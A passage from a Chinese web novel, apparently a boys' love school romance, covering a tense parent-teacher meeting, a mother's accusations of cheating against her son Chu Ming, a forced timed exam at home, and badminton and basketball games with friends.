他舔了舔被|干燥空气刮得起皮的嘴,两步跑到江淮面前,附耳说:“这是怎么回事?” “没你的事了。”江淮似乎并不觉得自己该为请自己父亲来cos男朋友家长但男朋友家长突然到场以致自己父亲没座这件事感到抱歉,平静地说:“回吧,我给你订一份狮子头当补偿。” “哎……”江竞先叹出一口气:“算了,你玩去吧,我在外面观察观察情况。” 江淮无所谓:“随便。” 旁边那个男人没有丝毫要上前跟楚明说话的意图,当然楚明也没有。江淮看了他一眼,背着球拍直接拉住楚明走了:“这次是真没场子了。” “嗯?”楚明回过神来,连忙跟上:“去抢一个。” 江淮挑了下眉,笑笑:“好。”- 班内赵逵逵和刘明宇分别负责分发茶水和成绩条——台上大马猴正在播放视频,是学期内部分活动留下的学生照片,视频三分钟。 两个一次性水杯依次放在桌面右上角,里面丢着几小坨茶叶,灌的是饮水机里的热水,泛出一股微弱的茶香。 赵逵逵端着表情,往前分发时不经意地往后瞥看着。 “楚明的书,”里面女人冷漠地开口:“给我。” 桌面的确摊着三本书,吴珊抓起其中一本,递到她手里,不动声色地观察着她。 女人拿到书只是随意翻了两页,嘴角扯出抹冷笑:“你家孩子有对象吗?” “关你鸡毛事?”这个问题真冒昧,吴珊心想。 女人把书丢到桌面,淡淡扫过空无一物干净的桌面,说:“我猜他们在一起。” 吴珊怔愣了一下,面露诡异的疑惑:“你是不是想放屁没话盖就乱说啊?” 女人:“……” 她斜扫吴珊一眼,冷笑:“放屁前我提醒你。” 吴珊:“……” “我没乱说,青春期的男生心思脏着呢,”女人双手交握着放在桌面:“说不定性|欲上头,已经互相解决过几次了。” 吴珊听得眉毛打绺:“他妈的你认识江淮吗?” “不认识,”女人神色始终淡淡的,“但我了解男的。” “了解男的?”吴珊呵出一声,得亏视频歌曲是时下热歌动静极大,将将掩盖住她的声音,她说:“我他妈还了解女人呢!我没造谣你晚上睡不着那啥吧,你这个人是不是有毛病?” 女人看向她:“但凡洁身自好,会有自己的东西出现在别人地盘的可能吗?你可以为你孩子辩解,但我说的是楚明,不知检点。” 吴珊听得一个头两个大,她想过放假后请楚明爸妈来家里吃饭,设想过各种各样他父母的性格,还在想到底什么样的父母能培养出这么值得喜欢的孩子,但从未想过是相见第一面就跟她聊这些乱七八糟的话。 她听不下去了:“神经病,如果这个别人是小偷扒手呢?” “自己东西都护不住的人,”女人冷呵着:“有哪点值得体谅。” “你——”吴珊听得肝火旺盛,她正想火力全开就见讲台上大马猴开始讲话,太过安静的环境不适合窃窃私语,她只能当忍者神龟,边深呼吸边想着怎么骂人。 刘明宇把两个成绩条分别递给他们,结束属于自己的任务,他和赵逵逵一起站到饮水机旁,清理不用的塑料袋。 吴珊看了眼成绩条,眉心忽地压低: 江淮,班排第五,年排六十二,市排一千二…… 旁边的女人淡淡接手成绩条,不经意地扫过清一色的“1”,难以置信地拧眉。 “这是这次期末考试的成绩,”大马猴体贴地说:“家长们可以先看两分钟。” 女人看了两眼忽地举起手来,明明没画什么眼线涂什么黑暗眼影,但目光落在人脸上时总会带出一阵鸡皮疙瘩,她不咸不淡地问:“请问考场有学生作弊吗?” 教室里家长的视线纷纷在她和大马猴之间两点一线,嘴里吸呼着听不明白的动静。 “这次考试是由其他学校老师监考,两位监考老师和同步视频监考,”大马猴说:“考桌5*6布置,我班暂时没有作弊学生。” “暂时没有?”女人点了下头,平静地说:“那建议重点核查一下楚明所在考场。” 大马猴像被这话打了一巴掌似的,动弹不得,良久才愣愣地陪笑:“好……好的。” 说完女人便垂下目光,把成绩条撕成碎片- “我记得医嘱说,不建议打羽毛球。”楚明拿着球拍试试手感,看着倚在墙边玩羽毛球的江淮。 江淮不甚在意地说:“这点我还是有分寸的。” 楚明现在有种听他说“有分寸”就不舒服的毛病,拧着眉问:“怎么个有分寸法,说来我听听。” “我每天训练就是为了正常活动,”江淮站起来说:“不是为了不做这个不做那个。” 楚明默了两秒,觉得实在有理:“行。有不舒服叫我。” “嗯。”江淮伸手捏了捏他的脸,而后下滑揽住他肩头,向并不怎么宽敞的场地走去,说:“我左你右。” 江淮左腿自是不如右腿,而按一般发力习惯,他站左位会更方便右腿惯性发力。 楚明无所谓站位:“好。” 对面是杨棉棉和喇叭哥,属于都会打羽毛球但技术不顶的类型。 而一网相隔,楚明擅长弹跳接高球,江淮对刁钻角度的接球更是熟练到诡异的程度……可以说双方完全打不起来。 “你俩对打吧,”杨棉棉表示看呆了打累了不行了,“开局0比5,继续不下去。” “行。”楚明主动去到对面,笑着看向旁边:“帮忙计下分,感谢。” “好的好的。”杨棉棉巴不得坐下看这一副岁月静好,连忙两手举起做投降状准备掰手指头计分:“你们随便打,我看着的。” “嗯。”楚明回应了声。 楚明发高球,江淮在那头毫无悬念地接住,往返间羽毛球像只鸟似的到处飞。 杨棉棉仰着脑袋,呆滞地看着球往左往右飞,再看着羽毛球在球拍的狂击猛打下毛发凋零,“嘶”了一声,没忍住跟旁边的喇叭哥说:“一般的球还经不起他们俩打。” 喇叭哥心说谁家羽毛球不掉毛:“还好吧。” 杨棉棉摇摇头,小声问道:“我们来猜谁先输?” “好啊,”喇叭哥压根不思考:“绝对江哥赢!” 杨棉棉:“……” 她长长地呼出一口气:“我猜楚明会赢。” 但还没来得及分出胜负,从不知道哪个方位忽地炸响一声巨无霸的——“我操!!!” 江淮被吼得拧了下眉,稍不留神楚明打来的球就擦过球杆而过,他的反应也只限于在羽毛球落地之后利落地一“铲”,羽毛球稳稳地躺在球拍上。 “你喊什么!”喇叭哥看过去,见是赵逵逵,丝毫不留情:“地震了吗?” “没没没,”赵逵逵马不停蹄地飞速奔来,说:“楚明楚明。” 楚明徒手接住江淮玩笑式抛过来的球,稍微偏了些头:“嗯?” “你……”赵逵逵一时之间也不知从何说起,表达能力受限的情况下他只能胡说:“你妈……” “别骂人。”楚明默了一秒。 “啊,不是不是,是你妈妈。”赵逵逵连忙补充:“你妈妈她……” 楚明猜不到下文,即使赵逵逵跟他挤眉弄眼表情动作一大堆,但他对他妈顾微的印象只停留在七八年之前,现在即使相对而立也就跟陌生人无二,他完全不知道她会做什么会怎么做。 “怎么?”江淮走了过来,从楚明捏紧的手心里解救出那只形貌还算立体的羽毛球。 “好像是你妈怀疑谁考试作弊吧,”赵逵逵心急火燎地说:“让重点查你的考场。” “不是吧?楚明都考第一名了其余人即使作弊又怎样呢?”杨棉棉也跟着走了过来,一骨碌说完她捂了下嘴:“查……查楚明的吗?” 江淮不悦地拧了下眉:“确定?” “嗯啊,我就在那发东西啊,”赵逵逵说:“坐我旁边的家长全在问楚明是谁。” 楚明抿唇,往后退了半步:“继续打吗?” 赵逵逵愣了一会儿才反应过来这是在转移话题,他看了一眼江淮,江淮轻点头,他才说:“打打打。” “那你们双人对打,我计分。”杨棉棉蹲回原位,余光里楚明神色如常,她松了口气:“哪队赢了我请吃烤肠!” 江淮跟到楚明身边,很轻地搂了下他的肩:“能打吗?” “怎么不能?”楚明并没什么情绪波动,他手腕翻转挥了挥球拍:“开始吧。” “好。”赵逵逵莫名被他冷淡的情绪给感染到,胡乱的心跳也渐渐归于正常,他和喇叭哥换了个位置,作势接球。 喇叭哥清了清嗓子:“放马过来!” …… “不是我说,你俩能发力吗?”杨棉棉看着左手竖起的大拇指:“这是一球都接不住啊?” “害,”喇叭哥立刻笑起来:“你不是打过吗?就是接不住啊!” “好吧,也是。”她扭向比较好说话的楚明:“楚哥你放点水呗。” “嗯?”楚明捏着球拍,闻声把拍子换到左手:“好。” 江淮笑笑,也跟着换成左手。 对面赵逵逵&喇叭哥:“……” 杨棉棉给他们竖了个大拇指:“我操,这个爽快!” 计分清零,赵逵逵他们的初次刁钻角度发球——具体是指看似全力打出的球,球却在距离拦网小半米的位置掉落。 楚明虽然追到球,但换成左手之后使用确实受限,反手拍出去的球最终砸在拦网上,没过网。 “呜呼!!”对面发出一阵爆鸣。 “啧,”江淮笑笑:“得瑟什么?” 几乎话音没落,楚明就默契十足地把球抛给他,他下巴微抬,示意对方注意接球后开始发球。 “有趣,”江淮轻笑了声,玩笑式地稍一挥拍。 左手拿拍,看着跟没用力似的,光看架势甚至没有赵逵逵那颗球飞得远。 赵逵逵严肃脸,看他发球之后立马冲到线边。 可惜球却直直擦过他向后飞去,索性喇叭哥接住打飞出去,赵逵逵立刻反应过来中套,连忙后退准备迎击楚明的高远球。 下一秒,球微妙地垂直坠落在线网内的框线边。 赵逵逵&喇叭哥:“……” 江淮笑着看向楚明,前去跟他击了个掌,耳语:“上道。” “你这战略,”楚明无奈摇摇头。 杨棉棉立时掰下左边一根手指:“哈哈哈哈哈……” 没打多久球风渐渐大起来,太影响打球,就暂时往教学楼里走。 江淮和楚明去了趟厕所,回来时估摸着时间直接到了教室外,方便拿了书包就放学。 倚着栏杆,江淮目光淡淡地落到旁边座椅上正跟别人攀谈的江竞先,指尖轻点栏杆:“旁边的是你爸吗?” 楚明顺着他的视线看过去,目光停在灰大衣身上,轻点了下头:“嗯。” 江淮点评了句:“长挺帅,但和你气质不太像。” 楚明静静地盯着下方看去,良久才轻声答了句:“不太清楚。” 江淮啧了一声,伸手过去,手心刚搭在楚明肩头,想往自己这边拉一些时,余光里忽的冒出个粉色发带,接着是仰起头的女孩亮着眼睛喊了声:“哥哥。” 楚明微愣,扭头过来。 江淮挑了下眉,盯着楚明离自己很近的侧脸,不经意间重复了句:“哥哥?”—— 作者有话说:羽毛球后半段不建议模仿哈,伤球伤拍伤感情[狗头] 第69章 第 69 章 “好,今晚我等你。”…… “你就别跟着叫了, ”楚明反手捂了下他的唇,目光微微下落,看向女生。 顾逐云依旧仰着脸, 没什么表情:“哥哥, 我想要手机。” 江淮闻声很轻地笑了下,鼻息尽数落在楚明手心,楚明似乎顿了下,垂手搭在栏杆上。 “没有, ”他有也不会拿出来, 这是在学校:“那里有桌子,去睡觉。” 大概是觉得有趣,江淮好整以暇地看着他的侧脸, 嘴角的笑意就没淡过。 “不要,”顾逐云很坚决地摇头:“我要看视频。” “什么视频?”实话说楚明也不太了解自己的妹妹,不仅仅因为年龄差有八岁, 还因为见的次数极少, 顾逐云认出他和他能反应过来她是谁,大概已经用罄了所谓血缘之间的感应。 “舞蹈视频,”顾逐云说:“下周要表演, 我现在要学。” 楚明无奈地说:“抱歉, 这你得找其他人。” “好吧, ”顾逐云伸手跟他握了握手, “谢谢哥哥。”说完她又跑回座椅, 坐在那里开始发呆。 楚明收回停在半空的手,想垂下去时被江淮握住了。 江淮挑了下眉:“你还有个妹妹。” “嗯,”楚明轻声说。 江淮捏了捏他的手,没再说话, 余光带过教室紧闭着的前后门,小声地问了句:“那你今晚还能出来吗?” “能啊。”楚明凑他耳边说:“他们住酒店。” 江淮没多问:“好,今晚我等你。” “嗯,”楚明点了点头,补课期间正常双休,原则上六点放学,严越他们找了体育馆的场子,晚八点半能去玩球。 时间渐渐走向六点,天色也往暗了走。 隐约间听到教室里传出的一片掌声,接着前后门被推开,“学生回班了!” 于是早卡点守候在走廊的同学鱼贯而入,风风火火地准备提起书包扛上家长就放学。 江淮和楚明一前一后地从后门进教室,目光淡淡扫过后排微妙地霸占着座位的两位女士,他偏了偏头:“就站这吧。” “好。”楚明没往那边看。 “有问题的家长尽管来找我,要是没有的话就可以和孩子一起回家了,路上注意安全。”大马猴只交代了一两句。 接着场面便乱起来,好几位家长捏着成绩单围了上去,给大马猴整得风中凋零。 而余下的大半个教室没两分钟就空了,后排格外安静。 里面的女人把捏了许久的碎纸片扔进原封不动的茶水杯里,拍了拍手,站起身,曲指扣在桌面:“你不走吗?” “你管我走不走。”吴珊还在气头上。 “我不管你,”女人面无表情:“麻烦让位。” “我偏不让呢,”吴珊抱臂,仰起脖子看着她:“你讲那些话是什么意思?” “没什么意思,”女人没看她,目光微微后落,扫过江淮和站他身后的楚明,轻地一笑:“是叫江淮吗?麻烦让你母亲让位。” 蓦地听到自己名字,江淮掀起眼皮,很淡地扫过她:“没听到她说不让吗?” “这样啊,”女人收了表情,目光在前桌空出的空间停了半秒,抬手把桌子前推,利落出去时鞋尖轻地把课桌复位。她稍一转身,乌黑的长发垂到胸口,她单手撑在桌面看着吴珊,红唇微启:“信我,傻子。” 吴珊:“……” 她顿时怒火中烧,正要蹦起来女人就直起身子走到过道,依旧冷淡地看向楚明:“你家在哪?” 江淮拧着眉,想拉住楚明时却听他很轻地报了个小区名。 “嗯。”女人转身就走。 江淮拉住他的手腕,目光在楚明和他妈之间流转:“怎么回事?” “没什么,”吴珊咽下嘴里要脱口的词,在孩子面前说她妈像个疯子不太好,她只是轻轻叹了口气:“一点儿小矛盾。” 楚明收回看向后门的视线,“她也许更年期。” “可能是心情不好吧。”吴珊看了眼楚明,还是没忍心,只轻轻说道:“你回去问问她。” “嗯,”楚明点了下头,想起那句几乎被在场都听到的“傻子”,他说:“抱歉吴阿姨。” “没事,”吴珊笑笑:“我从小到大挨过的骂比你妈说过的话还多,无关痛痒。”- 楚明说要先给秦苗送一趟资料,江淮便先和吴珊他们走了。 坐到车上,江淮才出声问:“妈,怎么回事?” 吴珊坐在副驾,指尖不疾不徐地敲点在窗沿,她想了想才说:“开始位置弄错了,这点倒没问题,我只是觉得她对楚明不太上心,结果他妈的她就开始说你俩在一起……” 江淮听得一愣:这么敏锐? “这点我也不在乎,关键是她说的那些乱七八糟的理由,我顿时就嘿哟喂了,”吴珊气得吐血:“后面跟我扯些黄的,还跑到人身攻击上了!” “攻击谁?”江淮拧了下眉。 “小楚。”吴珊最想不通的就是这点,“又是怀疑成绩又是撕成绩单,中途不是有什么表扬环节,大马猴一表扬小楚她就冷笑,不知道的还以为我旁边坐了个捧哏!” 江淮愣住:“她妈——” “挺奇葩的,”吴珊呼吸急促地说。 旁边开车的江竞先情绪依旧稳定,还伸出小拇指慢悠悠地戳了首轻松风格的纯音乐,缓缓开口:“心平气和,心平气和。” “和个屁和,”吴珊瞪他一眼:“你要这么和去他妈庙里当和尚啊来我这当屁的司机!” 江淮:“……” 江竞先:“……” 忠言:永远不要惹到在气头上的女人。 他摸了摸心爱的方向盘,决定给出一点自己的价值:“那先不和,不和。我试探了下小楚他爸。” 吴珊这才给到他一个正眼:“怎么说?” “挺帅的。”江竞先说:“也挺年轻的。” “然后呢?”吴珊看着他。 “不像正缘。”江竞先拨了个左转弯灯,说- “没有房间,”楚明弯身倒了三杯水,“建议提早订酒店。” 没有人理他,半会儿顾逐云才说:“已经订好了,哥哥。” “嗯,”楚明也没再说话,坐到沙发边缘摸出手机,和发过来祝福消息的几个朋友说谢谢。 顾微坐在正中,手指轻轻拨了下旁边男人的后背:“去做饭。” “嗯,好。”男人立刻起身,问了句:“今天要什么口味?” “随便。”顾微不悦地催促他快点滚。 男人连话都没回便迅速往厨房走去。 “菜不多,”楚明忽地开口:“我去买点。” “不用,”顾微说:“他自己有脑子会分析够不够,该不该买。” 楚明噎住,视线淡淡地落向厨房门口仓促关门的背影,陌生感兜头而至,他捏手机的力度都不受控制地放大,“那我去帮忙。” “不用,”顾微说:“他的事你别管。” 楚明不知道如何回答。 沙发坐着不舒服,顾逐云皱着眉站起来,两手伸出:“妈妈,我要看舞蹈视频。” “找楚辉誉。”顾微不耐地说。 “好。”顾逐云收回双手,噔噔地跑进厨房,过了半会儿她抱着手机出来,坐到餐桌旁开始跟舞练习。 冬夜总是静得出奇,除去鼓点十足的极小的音乐声,房间里没有任何其他杂音。 良久,顾微单腿搭到另只腿上,黑色风衣被解开,露出里面白色打底,她微微仰着头,说:“你奶奶生病了,我回来看一眼。” 楚明没看她,闻声很轻地一笑:“已经好了。” “是吗?”顾微怔了一瞬。 “是,”楚明说:“我回去过几天。”期末前几天的事,院坝早上起霜,奶奶没注意踩滑摔倒,好在身板硬朗,在医院休养几天就出院回家了。 顾微问:“住院费谁结的?” “我。” “哪来的钱?”顾微继续问。 楚明轻顿:“一些课外渠道。” 顾微哼出一声:“出去卖?” 楚明沉默住了,他把亮着屏的手机摁灭,很沉地呼出一口气:“不是。” “哦,”顾微往前倾身,手指轻轻托着自己下巴:“我倒没想到你会长成这副模样,比我预计里要经看一些。” “谢谢。”楚明头发长得挺快,两三个月时间短寸的痕迹完全没了,打理过后现在头发稍微偏长,但还没到遮眼的程度,按杨棉棉的话来说,帅得没那么扎眼了。 已经七点半了,十分钟后餐桌上摆了四个菜。 “可以吃饭了,”楚辉誉把围裙解掉,站在餐桌旁。 顾微起身,走动时长靴在地面发出极具质感的噔噔声,她坐到被楚辉誉拉开的椅子里,扫过桌面潦草的三菜一汤,没多言,只说:“吃饭。” “好。”顾逐云放下手里,规矩上桌。 “阿明你也来吃饭吧,”楚辉誉走到茶几旁,小声喊了句:“我明天过来的时候再带点菜,冰箱好像已经被我搬空了。” “不用。”楚明看着他轻轻一笑:“我自己去。” “嗯,”楚辉誉犹豫半秒,还是拉了下他小臂:“先吃饭吧。” 楚明微顿,还是没难为他:“……好。” 一顿饭吃得默不作声,筷子勺子甚至一次都没磕到过碗盘,连咀嚼都是默声版。 依次下桌后楚辉誉收拾碗筷进厨房洗碗,楚明正要去帮忙,就被叫住。 “嗯?”他转过头来,问。 “期末考试很重要吗?”顾微站在他身后,一米七三的身高配上增高,她基本和楚明平视。 “一般。”楚明回答。 “那为什么作弊?”顾微冷冰冰地问道。 想起赵逵逵来报信时说的那些话,楚明恍然:“我没有。” “确定?”顾微看着他:“你奶奶跟我说,你成绩并不好,尤其上高中之后一落千丈,还学坏。你跟我说说,哪来的自信或者说哪来的虚荣心让你要作弊做到第一?” 楚明先是愣住,转而很轻地一笑:“抱歉,您现在并不了解我。” 顾微眉心轻地一拧,她打量着眼前的男生,冷哼一声:“嘴还挺硬。” “本事也硬,”楚明不想再在这件事上有任何多余的解释,他看了眼时间,已经八点零七分,从这到体育场差不多二十分钟路程,准时赴约的话他该走了,“我有事,您自便。” “站着。”顾微皱眉。 楚明脚步轻顿:“嗯?” “有什么事需要你现在出去?”冬天本就昼短夜长,余光里外面天已经黑透了,顾微冷声:“坐下,我在网上找了一套其他地区的期末题,楚辉誉掐表,你来做。” 楚明抿唇,依旧陌生地看着她的脸:“凭什么?” “你说我现在不了解你,”顾微说:“那你就证明给我看,这难道不是最简单最直白的方式吗?” “抱歉,我没有这个义务。”楚明说着就换鞋,拉上门把手就要出门。 “你可以选择走,”顾微不为所动,目光稍一斜楚辉誉就上前拽住他:“但我有我的手段。” 腰被紧紧抱住,外套敞着,楚辉誉冰凉的手刺啦一声划落到他腹部,凉意顺着神经鞭笞进周身上下,一瞬间楚明甚至忘记挣扎,脑中空白一片。 顾微上前拧锁住了门。 第70章 第 70 章 “让我抱一下。”…… “哎哟这个天冷, ”严越穿着他的酒红色羽绒,下半身套着条工装裤,“出门前做了十分钟的心理建设。哎?点点人, 还没齐吗?” “没, ”江淮支着长腿坐在平台上,眼都没抬:“楚明没到。” “楚明?”严越突然笑起来:“那你还不给他发消息?快点发,跟他说迟到一分钟一个惩罚。” “服了,越哥你脑子里就那些黄玩意, ”汤麟站着没趣, 也跟着坐下,在玩抛立水瓶的小游戏:“咦,又倒。” 江淮:“……” 他单手划开手机, 又戳了条消息。 【狗】现在八点四十,爽约至少说一声。 发完消息他没什么表情地盯着体育场的地面,脑中闪过下午楚明他妈看向自己的眼神, 并不友好, 带着些玩弄般的嗤笑,总之让人体感并不良好。 意识里多出一道声音,江淮鬼使神差地把聊天记录往上拨了拨。 他和楚明聊天并不多, 只有“三约”:约球、约饭、约题。除此之外什么话都是当面说, 似乎这份聊天记录即使被公之于众也毫无信息量。 他把手机揣回兜里:“先打着。” “啊, 行。”严越把外套胡乱一脱, 单手撑着台子跳下去, 拍手召集:“来!” 江淮长长吐出一口气,也翻下平台,替楚明的位置。 打了两分钟,汤麟跑去捡球的时候, 严越用力撞了下江淮胳膊,小声问道:“你们分手了?” “分屁,”江淮垂下眼皮,把长袖卷上去半截:“遇到些傻逼事情吧。” “他不是考挺好吗?”严越摇了摇头:“这么牛逼了居然还不能自由地出来玩?” “不知道。”江淮眉眼间有些躁意:“晚点我去找他。” “咦!”严越叹了声气:“哥们不是我说你,正常情况下不应该现在立刻马上就去找他吗?你晚点去事情都没了,要你做甚?” 江淮冷冷地挑了下眉:“我信他能自己解决。”- 两分钟后,门被重重敲响。 楚辉誉听到响就去开门,从闪送小哥手里接过牛皮纸袋,关好门边拆纸袋边走到茶几边。 把六张质感极好的纸张掏出,并着袋里的黑笔双手递到顾微面前。 “年级没错,”顾微简单核查半秒,抬起下巴:“其他试卷太长懒得打印,数学正好。你现在做。” 楚明静静坐在沙发边,目光淡淡扫过试卷抬头:数学(理科)…… 他抬手,指尖轻轻带过一些题型,目前高考制度改革并不全面,而顾微给他打印的是一套新高考试题。 “已经开始计时了,”顾微并不知道他心里在想什么,也不关心:“一百二十分钟,我不会多给你一秒。” 楚明摸到笔,指骨拨动笔杆轻地一转,他淡声:“您真的很无聊。” “我知道,我也没有想要逗你笑。”顾微说:“但你最好能笑到两小时之后。” 四张试卷两张草稿纸。 楚明用笔尾巴依次挑开前三页,没什么情绪地垂眼看向最后一道大题。 看他跟静止似的一动不动,顾微以为他在做无声的反抗,冷声:“不论这张试卷做到最后呈现出怎样的结果,也不管映射出你是怎样的人,我要告诉你的是——” 楚明并不想听她说话:“安静,谢谢。” 顾微:“……” 时间在一点点流逝,楚辉誉捧得有点累,便把手机放到茶几,上面计时界面显示15:29。 楚明神色淡漠地扫了眼时间,把第二张试卷抽出,看着多选题,算了算。 时间走到二十分钟的时候,他合上笔盖,把两张有做题痕迹的纸推到她面前:“其他题没意思,要做自己做。” 话落,他起身便往外走。 沿途楚辉誉拉了他一把,力气很大,但被他轻巧躲开,径直推门走了出去。 楼道间安装的是声控灯,黑暗里,楚明合门前很轻地说了一句:“我十点回家,最好能在那之前离开,谢谢。” 话落,关门声落在寂静的楼道间,似乎还回响了一次。 掩盖住餐桌边很小的一声:“哥哥……” 顾微看着门的方向,稍微一转,落在旁边还没来得及收回手的楚辉誉手上,拧眉:“时间?” “二十一分钟。”楚辉誉严谨地看了眼计时界面。 “行,”顾微垂眼,看了两秒试卷上工整的过程,和早前准备好的答案进行比对,她叹了口气:“他……做对了。” 没有人回应她。 餐桌外顾逐云在复盘舞蹈动作,楚辉誉干看着手机不知道说什么。 “走吧,”顾微把试卷尽数对折扔进垃圾桶,起身时把风衣带系好:“我再想想。” “好,我现在叫车。”楚辉誉点着手机- 从家里出来,楚明被冷风刮得往后退了半步,实在不想再踩单车,他在路边招了辆出租车。 “体育场。” “这大晚上的去训练啊?”司机寒暄了一句。 楚明心想随便吧管他的无所谓:“嗯。” “真的吗?衣服都没穿好匆匆忙忙的,”司机开了句玩笑:“怎么感觉更像是偷摸着出来见女朋友呢?” “也算吧。”楚明经他一提醒才微微垂眼,把被拽乱的外套拢好,目光落在灰霭的窗玻璃,上面映着昏暗的月色和杂乱的彩灯。 “年轻真好啊,”司机笑了笑。 “一般。”楚明胡乱应了声。 窗外的风景黯淡地交替着走远,楚明看得眼神恍惚。 到目的地司机连喊他两声他才回过神来,“不好意思。” “没事没事,”以为他嘎车上了,听到声音司机才把飞出肚脐眼的心脏拍回去:“九块五,我收你九块就是了。” 楚明下意识去摸手机,没摸到便抽了一张现金递过去,推门下车:“不用找了,谢谢。” 等车驶远,他又摸了摸裤兜,依旧没有手机的影子。 啧,江淮的爱丢手机的毛病传染给他了…… 楚明随手理好衣服,找到体育场正门便飞速往里跑,长腿交替出残影,他卯足了劲儿地往前冲,像身后跟着缠人的索命鬼似的- “江哥你还能打吗?”离半场叫停还有两分钟,严越体贴地问了句。 江淮抹掉额间的汗,微喘着答:“继续。” “行,”严越见状便没再收着,眼疾手快地接住从队友手里飞传过来的球,他原地起跳,篮球在半空划出完美的弧度。 嘭!即将进框时球却被一掌扣飞! “我操?!”这局严格不严格来讲都算娱乐放松局,严越没想到江淮会这么拼去拦球,扭头就骂:“这么危险你不要命了——” 骂声戛然而止,不止严越,场上的几个人也跟着静止,看清来人匆忙的动作后,都识趣地飞快转身。 上一秒还沉浸在球被谁先手拦截的震惊里,江淮微愣,下一秒手腕被一股凉意握紧,大力拖拽下,他感觉自己像只断线的风筝,乱七八糟地就往后飘去。 紧接着落入冰冷的怀抱里。 温热的脖颈被鼻尖轻地一蹭,江淮冷出一身鸡皮疙瘩,他愣了愣:“楚明?” “嗯。”楚明松开他的手腕,不多犹豫改环住他腰。 楚明身上太凉了,裹着寒气似的,贴上来的瞬间江淮像是被冰块围住了,他下意识把人抱紧,想把身体的热量渡过去。 楚明把下巴轻轻搁在他肩线,声音微晃:“让我抱一下。” “好。”江淮歪了下脑袋,嘴唇贴了贴他耳尖:“怎么这么凉?” “吹了点儿风。”楚明合着眼,说。 江淮嗯了声,没再多言,抬眼视线落在背过去跟罚站似的几个人身上,他很轻地笑了声,耳语道:“想要抱多久?” 他话音还没落完楚明就往后撤开半步,“够了。” 江淮:“……”拥抱不应该是两个人的事吗? 他轻顿,按捺住想多抱一会儿的欲望,指尖往楚明手背轻轻划过,他扭头喊了严越一声:“捡球,继续。” “好嘞!”静止半分钟的严越猛回头,目光往他俩身上意味深长地带过,抬手两根食指戳了戳,是亲亲的“动图”,他歪起脑袋挤眉弄眼道:“啧啧啧……” 身后跟着扭过头走来的人:“啧啧啧……” “没亲,”江淮脸不红心不跳:“别啧了。” “……”楚明偏头,去把自己进场时一时兴起拍飞到角落的球捡起来,运了两步便直起身把球抛给了严越。 “哇塞!”严越接过球,还想着再多调侃两句,忽然朝下瞅到他衣服,愣了愣:“楚明你衣服……” 楚明不明所以地垂眼,他今天外套了件薄款羽绒服。此时此刻腰上偏胸口的地方多了两条“划痕”,拉链不知道什么时候掉的,凌乱中还有几团绒毛冒头……应该是楚辉誉拉拽他时弄到的。 “不小心划到了。”他目光转沉,没多思考把半敞着的外套脱下,抬手扔到旁边,挺准的,将将落在平台上。 他平静地走回来:“打到哪了?” “马上下半场,”严越重重地摸了摸篮球,没多问:“你要替江哥吗?” “嗯。”楚明里面只有件短款白色内搭,他把腕间衣料卷上去半截,看了眼江淮:“你还要不要打?” 江淮神色复杂地看了他一眼:“你打。” 体育场空旷少人,温度偏低,江淮没打之后转身把外套披上。 伸手勾来楚明的衣服搭在大腿,垂眼把那道应该是指甲喇出的划痕扫过,他低下头,埋进衣服里吸了口气。 除了楚明的气息和凉意,似乎没别的了。 他抬眼,看向球框下的几人。 期末结束放松局,大概祭奠刚出的成绩和即将到来的假期吧,严越收着在打,楚明似乎注意到这点,也跟着迂回战术,好几次给汤麟程远他们喂球,防守不动声色地松懈了些。 后半场结束得很快,严越挑了下眉,本想以一个三分帅气收尾,但球抛出之后却被猛地弹飞—— 严越顿时一蒙:“我操!!” 不出意外他这个三分是个必进球,和开始楚明拦球的时间不同,这人截胡的时机已然到最后的零点几秒,可以说完全是不可能中的不可能,这一弹跳后扑空后果相当严重! 果不其然,下一秒就听到一声沉重的尖叫。 “我操,程远!”就在旁边的汤麟立马扑过去过。 拦截失误,程远甚至没挨到篮球球身,以一个双膝双肘擦地的姿势摔倒,痛得冷汗直冒,颤抖着喊道:“疼……” “先别动,”江淮呵止汤麟立马去拽人起来的动作,跳下平台冷静地说:“我叫救护车了。” 汤麟连忙收回两只手,不知所措地看着痛得蜷缩成一团的程远,问道:“远儿,你还好吗?” “不、不好,”程远嘴唇煞白,他虚弱地伸出手去拽江淮的裤腿。 江淮会意,半蹲下凑过去听他说。 不知道听到什么,江淮拧了下眉,“先别他妈乱放屁,等医生来。” 被他吼得一愣,场内瞬间安静下来,只余下程远偏过头隐忍着的啜泣,他嘴角勾着笑眼里却含着泪,“江哥……” 江淮拧着眉:“少说话,小心岔气。” 程远:“……” “车来了。”楚明按江淮的吩咐在门口等车,看到亮起的灯往里喊了声。 江淮立刻弯腰:“帮忙扶人。” ……不知道什么时候下起的雨,总之一行人跑进医院的时候凌乱不堪,半湿着坐到走廊长椅上,脸上带着不同程度的疲惫。 走得太急,江淮这才注意到楚明只穿着件单衣,羽绒在自己手里,他拧了下眉:“衣服穿上。” “没事,我不太冷。”楚明接过衣服披上。 严越后脑勺抵在冰冷的墙面,抹了把脸,长吁出一口气:“不是,我想不通,程远他为什么要去拦这颗球啊?” 旁边汤麟连忙抚上他的肩:“你别自责啊,这也不是你的问题。” “诶!楚明你来的时候为什么偏偏要拦球?”旁边久久没说话的队员突然把头一偏:“要不是你启发了他,他怎么会用这个姿势拦球?程远一直投球厉害,从不怎么去抢拦,怎么可能去玩这么高难度的拦球?” 外套上沾着雨水,楚明披上时就想脱下来,但碍于江淮盯着,他便双手抱胸,两手把羽绒撑开些许。 闻声他很轻地一顿:“嗯?” 江淮冷冷地扫过去一眼:“闭嘴。” “江哥我一直叫你队长叫你哥,但这次你真的有点偏袒某人了。”队员站起来说。 “我不偏袒我男朋友偏袒你吗?”江淮沉声:“再说一遍,闭嘴。” “你……”队员想说什么又不敢说,只好作罢。 “想打不想打随你们,”江淮拧了下眉,尽量心平气和地看着那位队员说:“但不要演这种傻逼都能一眼看穿的戏。我他妈有钱买得起电影院的票,不需要你们格外施舍。” 楚明看向他的侧脸,眸光一暗。 汤麟僵住,看过去:“啊?” 严越拉住他:“嘘——” 那名队员抿紧唇,犹豫半秒后坐在了相隔两间病房外的长凳上,不再说话,只是把手机掏出来看着。 楚明远远看了他一眼,垂眼轻轻敲了下江淮的手背:“程远跟你说了什么?” “腿断了,不用管他。”江淮原封不动地复述—— 作者有话说:这个队友虽然存在感低但不意味着他不在,因为打篮球还是得有点人数基础的[眼镜]《 》 70-80 第71章 第 71 章 “不打了。” 楚明眉心很重地拧了下, 猜测道:“他是不是有什么旧伤?” “嗯,”江淮叹了口气:“之前旁观时我觉得他用力发力点不太对,以为是状态问题, 但没往受伤那层去想。” 话落他补充说:“应该有段时间了。” 